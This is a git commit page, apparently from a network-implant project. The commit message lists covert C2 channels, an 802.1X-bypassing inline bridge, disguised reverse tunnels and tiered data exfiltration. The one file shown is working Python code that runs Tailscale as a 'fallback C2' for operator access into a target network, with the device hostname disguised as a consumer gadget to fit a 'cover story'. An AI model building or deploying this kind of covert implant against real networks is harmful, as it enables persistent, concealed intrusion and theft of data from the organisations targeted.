Add Phase 3 connectivity modules — 8 modules + bridge scripts

WireGuard (primary C2, PersistentKeepalive=0 for zero idle traffic),
Tailscale (fallback mesh VPN), Bridge (transparent inline L2 bridge with
802.1X bypass and ebtables protocol suppression), WiFiClient (WPA2-PSK
and WPA2-Enterprise via wpa_supplicant), ReverseTunnel (autossh over
stunnel/websocket — never raw SSH on 443), CellularBackup (LTE modem
via AT commands/mmcli, OPi Zero 3+ only), BLEEmergency (GATT server
with PSK auth for local last-resort access), DataExfil (priority-based
exfil with IMMEDIATE/NIGHTLY/ON_DEMAND tiers through connectivity chain).

Bridge scripts: setup_bridge.sh (create br0, disable STP, suppress
CDP/LLDP/BPDU via ebtables) and teardown_bridge.sh (safe cleanup).
This commit is contained in:
n0mad1k
2026-03-18 13:43:04 -04:00
parent 176da06dc9
commit 955ebfc8db
11 changed files with 3388 additions and 0 deletions
+290
View File
@@ -0,0 +1,290 @@
#!/usr/bin/env python3
"""Tailscale module — fallback operator access via Tailscale mesh VPN.
FALLBACK ONLY. Tailscale maintains persistent connections to coordination
servers — it is chatty by design. Use only when:
1. WireGuard is blocked by the target network
2. Target network already has Tailscale traffic (blends in)
Manages the tailscaled daemon via subprocess. Authenticates with a
per-engagement auth key and sets hostname to match the MAC profile
(e.g., "amazon-fire-tv-xxx") for consistency with the device cover story.
"""
import logging
import os
import subprocess
import time
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger("bb.connectivity.tailscale")
TAILSCALE_BIN = "/usr/bin/tailscale"
TAILSCALED_BIN = "/usr/sbin/tailscaled"
STARTUP_TIMEOUT = 30 # seconds to wait for tailscaled to be ready
class Tailscale(BaseModule):
"""Fallback C2 — Tailscale mesh VPN managed as subprocess."""
name = "tailscale"
module_type = "connectivity"
priority = -150
requires_root = True
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._daemon_proc: Optional[subprocess.Popen] = None
self._auth_key: Optional[str] = None
self._hostname: Optional[str] = None
self._connected = False
self._tailscale_ip: Optional[str] = None
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
ts_cfg = self.config.get("connectivity", {}).get("tailscale", {})
if not ts_cfg:
logger.error("No tailscale config in bigbrother.yaml")
self.state.set_module_status(self.name, "error")
return
self._auth_key = ts_cfg.get("auth_key")
self._hostname = ts_cfg.get("hostname")
if not self._auth_key:
logger.error("Tailscale auth_key not configured")
self.state.set_module_status(self.name, "error")
return
# If no hostname specified, try to match MAC profile
if not self._hostname:
mac_hostname = self.state.get(
"mac_manager", "dhcp_hostname", default=None
)
if mac_hostname:
self._hostname = mac_hostname.replace(" ", "-").lower()
else:
self._hostname = f"bb-{os.urandom(3).hex()}"
# Start tailscaled daemon
if not self._start_daemon(ts_cfg):
self.state.set_module_status(self.name, "error")
return
# Authenticate and bring up
if not self.up(self._auth_key):
logger.error("Failed to bring Tailscale up")
self._stop_daemon()
self.state.set_module_status(self.name, "error")
return
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self._connected = True
self.state.set_module_status(self.name, "running", pid=self._pid)
self.bus.emit("CONNECTIVITY_CHANGED",
{"module": self.name, "state": "up",
"ip": self._tailscale_ip, "hostname": self._hostname},
source_module=self.name)
logger.info("Tailscale up — hostname=%s, ip=%s",
self._hostname, self._tailscale_ip)
def stop(self) -> None:
if not self._running:
return
self.down()
self._stop_daemon()
self._running = False
self._connected = False
self.state.set_module_status(self.name, "stopped")
self.bus.emit("CONNECTIVITY_CHANGED",
{"module": self.name, "state": "down"},
source_module=self.name)
logger.info("Tailscale stopped")
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"connected": self._connected,
"ip": self._tailscale_ip,
"hostname": self._hostname,
"daemon_pid": self._daemon_proc.pid if self._daemon_proc else None,
}
def configure(self, config: dict) -> None:
self.config.update(config)
def health_check(self) -> bool:
if not self._running:
return False
return self.is_connected()
# ------------------------------------------------------------------
# Tailscale operations
# ------------------------------------------------------------------
def up(self, auth_key: str) -> bool:
"""Authenticate and bring Tailscale up with the given auth key."""
try:
cmd = [TAILSCALE_BIN, "up",
"--authkey", auth_key,
"--hostname", self._hostname,
"--accept-routes"]
result = subprocess.run(
cmd, capture_output=True, text=True, timeout=30,
)
if result.returncode != 0:
logger.error("tailscale up failed: %s", result.stderr.strip())
return False
# Get assigned IP
self._tailscale_ip = self.get_ip()
return self._tailscale_ip is not None
except subprocess.TimeoutExpired:
logger.error("tailscale up timed out")
return False
def down(self) -> bool:
"""Bring Tailscale down (logout and disconnect)."""
try:
subprocess.run(
[TAILSCALE_BIN, "logout"],
capture_output=True, timeout=15,
)
subprocess.run(
[TAILSCALE_BIN, "down"],
capture_output=True, timeout=15,
)
self._connected = False
return True
except (subprocess.CalledProcessError, subprocess.TimeoutExpired) as exc:
logger.warning("Error during tailscale down: %s", exc)
return False
def is_connected(self) -> bool:
"""Check if Tailscale is connected and has an IP."""
try:
result = subprocess.run(
[TAILSCALE_BIN, "status", "--json"],
capture_output=True, text=True, timeout=10,
)
if result.returncode != 0:
return False
import json
status = json.loads(result.stdout)
backend_state = status.get("BackendState", "")
self._connected = backend_state == "Running"
return self._connected
except (subprocess.TimeoutExpired, ValueError, KeyError):
return False
def get_ip(self) -> Optional[str]:
"""Get the Tailscale IPv4 address."""
try:
result = subprocess.run(
[TAILSCALE_BIN, "ip", "-4"],
capture_output=True, text=True, timeout=10,
)
if result.returncode == 0 and result.stdout.strip():
ip = result.stdout.strip().splitlines()[0]
self._tailscale_ip = ip
return ip
except (subprocess.CalledProcessError, subprocess.TimeoutExpired):
pass
return None
# ------------------------------------------------------------------
# Daemon management
# ------------------------------------------------------------------
def _start_daemon(self, ts_cfg: dict) -> bool:
"""Start tailscaled as a managed subprocess."""
state_dir = ts_cfg.get("state_dir", "/var/lib/tailscale")
socket_path = ts_cfg.get("socket", "/var/run/tailscale/tailscaled.sock")
os.makedirs(state_dir, exist_ok=True)
os.makedirs(os.path.dirname(socket_path), exist_ok=True)
cmd = [
TAILSCALED_BIN,
f"--state={state_dir}/tailscaled.state",
f"--socket={socket_path}",
"--tun=userspace-networking",
]
try:
self._daemon_proc = subprocess.Popen(
cmd,
stdout=subprocess.DEVNULL,
stderr=subprocess.PIPE,
)
except FileNotFoundError:
logger.error("tailscaled binary not found at %s", TAILSCALED_BIN)
return False
except OSError as exc:
logger.error("Failed to start tailscaled: %s", exc)
return False
# Wait for daemon to be ready
deadline = time.time() + STARTUP_TIMEOUT
while time.time() < deadline:
if self._daemon_proc.poll() is not None:
stderr = self._daemon_proc.stderr.read().decode(errors='replace')
logger.error("tailscaled exited prematurely: %s", stderr[:500])
return False
try:
result = subprocess.run(
[TAILSCALE_BIN, "status"],
capture_output=True, timeout=5,
)
# Any response (even "not logged in") means daemon is ready
if result.returncode in (0, 1):
logger.debug("tailscaled is ready")
return True
except (subprocess.TimeoutExpired, FileNotFoundError):
pass
time.sleep(1.0)
logger.error("tailscaled did not become ready within %ds", STARTUP_TIMEOUT)
self._stop_daemon()
return False
def _stop_daemon(self) -> None:
"""Stop the tailscaled subprocess."""
if self._daemon_proc is None:
return
if self._daemon_proc.poll() is None:
try:
self._daemon_proc.terminate()
self._daemon_proc.wait(timeout=5.0)
except subprocess.TimeoutExpired:
logger.warning("tailscaled did not stop after SIGTERM, killing")
self._daemon_proc.kill()
try:
self._daemon_proc.wait(timeout=2.0)
except subprocess.TimeoutExpired:
pass
self._daemon_proc = None